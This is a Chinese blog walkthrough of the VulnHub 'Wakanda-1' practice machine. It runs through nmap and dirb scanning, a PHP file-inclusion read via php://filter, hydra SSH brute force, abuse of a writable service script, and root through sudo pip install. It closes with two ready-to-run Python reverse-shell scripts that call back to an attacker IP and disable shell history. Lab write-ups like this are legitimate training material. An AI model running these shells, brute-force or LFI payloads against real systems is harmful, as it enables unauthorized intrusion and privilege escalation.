• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-Wakanda-1通过技巧

这里快速过吧,1网卡,2服务,254DNS,155kali,那只有157是靶机了

nmap 192.168.135.0/24 -sP

扫他端口发现80,111,3333,80我们常客,我们第一步就是访问它网址枚举信息,111rpc端口映射,估计又和NFS共享文件有关,3333还需要进一步扫描

nmap 192.168.135.157

啊,这个作者ssh不跑22,做了端口修改(修改监听端口属于浅层防护),改成了3333,不过没事能扫出来,隐藏才麻烦,还得枚举信息做端口敲震。

nmap 192.168.135.157 -p- -sC -sV -T5 -A

我们访问页面,点击功能也点击不了,只能先扫一下他的目录看看了。

这里我们扫出了很多目录,我们挨个枚举

dirb http://192.168.135.157

但是当我们访问admin时发现无法访问,这个又出问题了吗?

查看源码,发现提示,这里发现它跳转了。

哎?我们发现他又跳转回来了。

那我们根据提示再dirb扫描它,终于有货了,但是我们访问index时还是访问不了,500,它不是4开头,说明是存在的,我们curl它一下看看它的头。

dirb http://192.168.135.157/?lang=

这里有意思啊,200/500,php代码,?lang=的形式,打了那么多台靶这个就差直接把文件包含乎连上了。

curl -i http://10.211.55.50/?lang=fr

curl -i http://10.211.55.50/?lang=index

PHP存在四种过滤器字符串过滤器,转换过滤器,压缩过滤器,加密过滤器

转换过滤器中的base64-encode过滤器可用于通过LFI检索任意服务器文件。

也可以使用压缩过滤器中的zlib.inflate或bzip2.compress来检索服务器文件而不执行它们。

我们可以抓包,但是我跟喜欢用命令curl

curl http://192.168.135.157/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

这里获得了密码,但是不知道是谁的密码。其实我在前端的代码里发现了一个用户,后续爆破用户发现就是它,不过这里我还是把hydra跑一遍吧。

说用hydra,但是密码我们有了,用户字典怎么来呢,总不能GitHub上下载个百来万的字典跑到天亮吧?这里我们可以用爬虫爬取页面,做成字典。

Cewl http://192.168.135.157 / > 1.txt

字典有了,就差爆破,但是这里有个问题。老闭作者给端口做了修改,正常的22端口走不通,ssh协议爆破又是走22端口。我们可以指定端口ssh依旧不动也可以将ssh放前面爆破指定端口

hydra -L 1.txt -P 2.txt ssh://192.168.135.157:3333

hydra -L 1.txt -P 2.txt-s 3333 192.168.135.157 ssh

记得加端口,22端口是废了。我们登录发现是python命令行,这个难不倒我们。

ssh mamadou@192.168.135.157 -p 3333

发现进来的地方进错了,但是不打紧,我们只需要稍微修改一下python -c ‘import pty;pty.spawn(“/bin/bash”)’,换个姿势进入它啊,一样的。

Import pty;

Pty.spawn(“/bin/bash”)

从根目录全盘搜索所有者为 mamadou 用户的所有文件;将错误信息一并送入管道,过滤掉权限不足报错以及 /proc 目录相关结果,只展示真正搜到的属于 mamadou 的文件。

find / -user mamadou 2>&1 | grep -v "Permission denied\|proc"

我们不仅发现flag1,进入home目录还发现了devops,我们接着枚举它。

Find / -user devops 2>&1 | grep -v “Permission denied\|proc”

我们枚举关键目录时发现这里有一个可读写的py脚本

我们写入脚本内容开启监听

进入lib发现有个同名的定时任务等300秒(很烦硬控我300秒)

cat /lib/systemd/system/antivirus.service

这里我交一个技巧啊,非常省心,非常稳定的shell。(我研究了几天才出来大成版)想干嘛就干嘛,不会断ctrl+c都打不断。

Ctrl + z

stty raw -echo; fg

Reset

Export TERM=xterm

这里就是经验跟技巧了,要不是我打过一遍我都找不出来。正常来说这个都能看懂吧,但是心细的你会发现devops的属主和属组不一样??????

Cat /etc/passwd

我们接着枚举它,发现还存在一个用户developer

Cat /etc/group

那我们用新学到的技巧枚举它,我也多敲两遍一起进步>_<

grep -rn / -e devops 2>&1 | grep -v "Permission denied\|proc"

不对好长卡住了,不过我们知道他们两公用一个gid就够了。

我们就正常路径提权吧

Sudo -l

这里我们创建一个脚本也是上面那个脚本,开启监听执行sudo pip install.

执行完sudo pip install .后就能获得root权限,并且生成新目录和文件

这里手快了,应该先nc的,当我们运行sudo pip install .时自动反弹shell,过来。

拿到了flag,这个没什么好说的了。

虽然说没有什么好说的,但是我们总结一下思路吧。

我们通过扫描发现80,111,3333,dirb扫出目录访问发现会跳转并且存在文件包含漏洞,我们通过cewl爬取字典爆破出来3333(22ssh)的账号,密码在前端页面,进入后枚举出存在devops,并且存在自动脚本,我们通过反向shell获得shell,进入发现sudo提权,利用pip的sudo提权获得root权限。

连个脚本我直接给了方便一点

#!/usr/bin/python

def con():

import socket, time,pty, os

host='192.168.135.155'

port=9999

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.settimeout(10)

s.connect((host,port))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

os.putenv("HISTFILE",'/dev/null')

pty.spawn("/bin/bash")

s.close()

con()

from setuptools import setup

def con():

import socket, time,pty, os

host='192.168.135.155'

port=9900

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.settimeout(10)

s.connect((host,port))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

os.putenv("HISTFILE",'/dev/null')

pty.spawn("/bin/bash")

s.close()

con()

setup(name="yang", version="1.0")

posted on 2026-10-19 00:08  驿般般  阅读(5)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3